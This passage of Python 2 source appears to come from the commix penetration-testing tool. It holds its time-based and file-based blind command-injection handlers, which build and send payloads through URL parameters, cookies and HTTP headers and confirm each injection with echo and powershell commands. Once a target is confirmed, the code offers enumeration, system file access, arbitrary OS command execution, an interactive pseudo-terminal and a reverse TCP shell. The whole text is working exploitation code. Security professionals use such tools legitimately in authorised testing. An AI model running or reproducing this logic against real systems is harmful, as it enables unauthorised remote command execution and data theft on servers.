payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
print ""
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def tb_injection_handler(url, delay, filename, http_request_method,
url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
again_warning = True
false_positive_warning = False
export_injection_info = False
how_long = 0
how_long_statistic = 0
injection_type = "Blind Command Injection"
technique = "time-based injection technique"
if menu.options.verbose:
print settings.INFO_SIGN + "Testing the " + technique + "... "
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + settings.WARNING_SIGN + "The '--url-reload' option is not available in " + technique + "." + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique):
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, delay, filename,
http_request_method)
if not settings.LOAD_SESSION:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(
separator, TAG, output_length, delay,
http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(
separator, TAG, output_length, delay,
http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
"\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
how_long = tb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(
payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)),
2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Windows targets.
if settings.TARGET_OS == "win":
if how_long > (how_long_statistic /
output_length):
false_positive_fixation = True
else:
false_positive_warning = True
# Unix-like targets.
else:
if delay == 1 and (how_long_statistic == delay) or \
delay == 1 and (how_long_statistic == how_long) or \
delay > 1 and (how_long_statistic == (output_length + delay)) and \
how_long == delay + 1:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning and again_warning:
again_warning = False
warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
warning_msg += "requests. This behavior which may lead to false-positive results."
sys.stdout.write("\r" + Fore.YELLOW +
warning_msg +
Style.RESET_ALL)
print ""
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "(" + str(
randv1) + " + " + str(
randv2) + ")"
# Check for false positive resutls
how_long, output = tb_injector.false_positive_check(
separator, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, randvcalc,
alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write(
"\r" + settings.INFO_SIGN +
"Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r" +
settings.INFO_SIGN +
"Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r" + settings.INFO_SIGN +
"Testing the " + technique +
"... " + "[ " + percent +
" ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
break
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):
found = True
no_result = False
if settings.LOAD_SESSION:
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, http_request_method,
vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
) + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(
url, technique, injection_type, separator,
shell, vuln_parameter, prefix, suffix, TAG,
alter_shell, payload, http_request_method,
url_time_response, delay, how_long,
output_length, is_vulnerable)
is_vulnerable = False
else:
settings.LOAD_SESSION = False
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
enumerate_again = raw_input(
"\n" + settings.QUESTION_SIGN +
"Do you want to enumerate again? [Y/n/q] > "
).lower()
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, alter_shell,
filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
if menu.enumeration_options():
tb_enumeration.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
while True:
file_access_again = raw_input(
settings.QUESTION_SIGN +
"Do you want to access files again? [Y/n/q] > "
).lower()
if file_access_again in settings.CHOICE_YES:
tb_file_access.do_check(
separator, maxlen, TAG, cmd, prefix,
suffix, delay, http_request_method,
url, vuln_parameter, alter_shell,
filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tb_file_access.do_check(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
alter_shell, filename,
url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tb_enumeration.single_os_cmd_exec(
separator, maxlen, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output, check_how_long)
sys.exit(0)
if not new_line:
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input(
settings.QUESTION_SIGN +
"Do you want a Pseudo-Terminal? [Y/n/q] > "
).lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(
cmd.lower(), technique,
go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp(
)
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(
settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(
)
result = checks.check_reverse_tcp_options(
cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
